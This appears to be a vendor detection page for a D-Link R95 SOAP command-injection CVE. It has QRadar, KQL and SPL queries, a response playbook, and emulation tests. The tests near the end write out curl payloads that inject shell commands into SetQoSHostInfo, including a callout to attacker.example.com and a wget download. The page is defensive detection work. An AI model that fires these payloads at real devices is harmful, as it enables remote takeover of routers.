Detect D-Link R95 DHMAPI SOAP SetQoSHostInfo OS Command Injection (CVE-2026-138225) in IBM QRadar
Detects exploitation attempts against CVE-2026-138225, an OS command injection flaw (CWE-77, CWE-78, CVSS 9.3) in the SetQoSHostInfo function of /bin/ssi in the DHMAPI SOAP interface of D-Link R95 1.04B04Beta. An attacker sends a crafted SOAP request to the DHMAPI endpoint with shell metacharacters in the Hostname argument, causing OS command injection. The attack can be initiated remotely. An exploit has been published. Detection focuses on SOAP POST requests referencing SetQoSHostInfo/DHMAPI containing command-injection metacharacters, and on anomalous child processes spawned from the embedded web/SOAP service.
MITRE ATT&CK
- Tactic
- Initial Access Execution
QRadar Detection Query
-- df00tech DF00-ff39b168e2 · https://df00tech.com/detections/CVE-2026-138225 · licence: https://df00tech.com/detections/licence
SELECT sourceip, destinationip, "URL" AS url, "Request Method" AS method, payload FROM events WHERE ("URL" ILIKE '%DHMAPI%' OR "URL" ILIKE '%/ssi%' OR "URL" ILIKE '%/soap%') AND "Request Method" = 'POST' AND payload ILIKE '%SetQoSHostInfo%' AND (payload ILIKE '%;%' OR payload ILIKE '%|%' OR payload ILIKE '%&&%' OR payload ILIKE '%`%' OR payload ILIKE '%$(%' OR payload ILIKE '%25%3B%') ORDER BY starttime DESC LAST 24 HOURS QRadar AQL selecting HTTP POST events to the DHMAPI SOAP endpoint referencing SetQoSHostInfo with command-injection metacharacters in the payload.
Data Sources
Required Tables
False Positives & Tuning
- Sanctioned vulnerability scanners
- Legitimate QoS hostname updates with special characters
- Internal security testing
Other platforms for CVE-2026-138225
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulate DHMAPI SetQoSHostInfo command injection via curl (semicolon)
Expected signal: HTTP POST to /bin/ssi with DHMAPI reference and SetQoSHostInfo payload containing ';' captured in web/proxy logs
- Test 2 Simulate SetQoSHostInfo injection with command substitution
Expected signal: HTTP POST referencing SetQoSHostInfo with '$(' substitution sequence recorded in HTTP/stream logs
- Test 3 Simulate pipe-based injection probe against DHMAPI
Expected signal: HTTP POST to the DHMAPI/ssi endpoint with SetQoSHostInfo and a '|' metacharacter in the body
Response Playbook
Triage
- Confirm the source IP of the SOAP POST request to the DHMAPI endpoint is external/untrusted and identify the targeted D-Link R95 device and its firmware version (verify whether it is the vulnerable 1.04B04Beta).
- Extract and decode the SetQoSHostInfo parameters from the request body and determine which shell metacharacters and injected commands were present (e.g. ';', '|', '$(...)', '`...`').
- Review the HTTP response status and timing to assess whether the injected command executed (long/anomalous response times or error strings may indicate execution).
- Correlate the source IP with other DHMAPI/HNAP/SOAP requests to the same or other devices to distinguish a single probe from a broader campaign.
Containment
- Block the attacking source IP(s) at the perimeter firewall and restrict external access to the router's management/SOAP interfaces (DHMAPI should never be internet-facing).
- Isolate the affected D-Link R95 device from the network if command execution is confirmed, and place it behind an ACL permitting only management from trusted hosts.
Evidence Collection
- Preserve full HTTP request/response captures (including the raw SOAP body) and relevant web/proxy/firewall logs for the source IP and device.
- Capture the router configuration, any accessible system/command logs, and a firmware image for forensic analysis of injected command persistence or backdoors.
Escalation Criteria
- !Escalate to incident response immediately if the HTTP response or device telemetry indicates the injected command executed (non-error response to a payload containing live commands).
- !Escalate if the same source IP targets multiple devices or if post-exploitation indicators (new accounts, outbound C2, config tampering) are observed on the router.
Investigation Guide
Forensic Artifacts
- >
Web/proxy logs showing POST requests to the DHMAPI endpoint with SetQoSHostInfo and shell metacharacters - >
Router NVRAM/config entries modified via QoS host parameters - >
Unexpected processes, cron entries, or outbound connections originating from the router's embedded Linux OS
Tuning Guidance
Baseline legitimate management sources for the router's SOAP/DHMAPI interface and allowlist authorized scanners. If the device management plane is correctly isolated, any external DHMAPI traffic is inherently suspicious and the metacharacter filter can be relaxed to alert on all external SetQoSHostInfo POSTs. Tune the metacharacter regex to reduce noise from legitimately encoded hostnames by requiring a command-injection context (metacharacter adjacent to a parameter value).
Hunting Queries
Surfaces source IPs issuing a high volume of POST requests to the DHMAPI SOAP endpoint, indicating scanning or brute-force exploitation attempts.
// df00tech DF00-ff39b168e2 · https://df00tech.com/detections/CVE-2026-138225 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("DHMAPI","/ssi","/soap") | where csMethod == "POST" | summarize count(), make_set(csUriQuery) by cIP | where count_ > 5 ``` df00tech DF00-ff39b168e2 · https://df00tech.com/detections/CVE-2026-138225 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*DHMAPI*" OR uri_path="*/soap*") method=POST | stats count values(uri_query) by src_ip | where count > 5 Atomic Red Team Tests
Sends a crafted SOAP POST to the DHMAPI endpoint with a semicolon-delimited injected command in a QoS host parameter against a lab device or mock server.
Command
curl -s -X POST 'http://192.0.2.10/bin/ssi?DHMAPI=1' -H 'Content-Type: text/xml' --data-binary '<soap:Envelope><soap:Body><SetQoSHostInfo><HostName>victim; id > /tmp/pwn</HostName></SetQoSHostInfo></soap:Body></soap:Envelope>' Cleanup
rm -f /tmp/pwn 2>/dev/null; true Expected Telemetry
HTTP POST to /bin/ssi with DHMAPI reference and SetQoSHostInfo payload containing ';' captured in web/proxy logs
Expected Detection
KQL/SPL/network rules fire on the POST to DHMAPI containing SetQoSHostInfo with a semicolon metacharacter
Sends a SOAP request embedding a $(...) command-substitution payload into the SetQoSHostInfo QoS host field.
Command
curl -s -X POST 'http://192.0.2.10/soap' -H 'SOAPAction: SetQoSHostInfo' --data-binary '<SetQoSHostInfo><Host>$(nslookup attacker.example.com)</Host></SetQoSHostInfo>' Cleanup
true Expected Telemetry
HTTP POST referencing SetQoSHostInfo with '$(' substitution sequence recorded in HTTP/stream logs
Expected Detection
Detection rules match on the command-substitution metacharacter in the SetQoSHostInfo payload
Sends a SOAP POST using a pipe metacharacter to chain a command through the vulnerable SetQoSHostInfo parameter.
Command
curl -s -X POST 'http://192.0.2.10/bin/ssi' -H 'Content-Type: text/xml' --data-binary '<SetQoSHostInfo><HostName>host | wget http://attacker.example.com/x</HostName></SetQoSHostInfo>' Cleanup
true Expected Telemetry
HTTP POST to the DHMAPI/ssi endpoint with SetQoSHostInfo and a '|' metacharacter in the body
Expected Detection
Detection rules fire on the pipe metacharacter within the SetQoSHostInfo SOAP request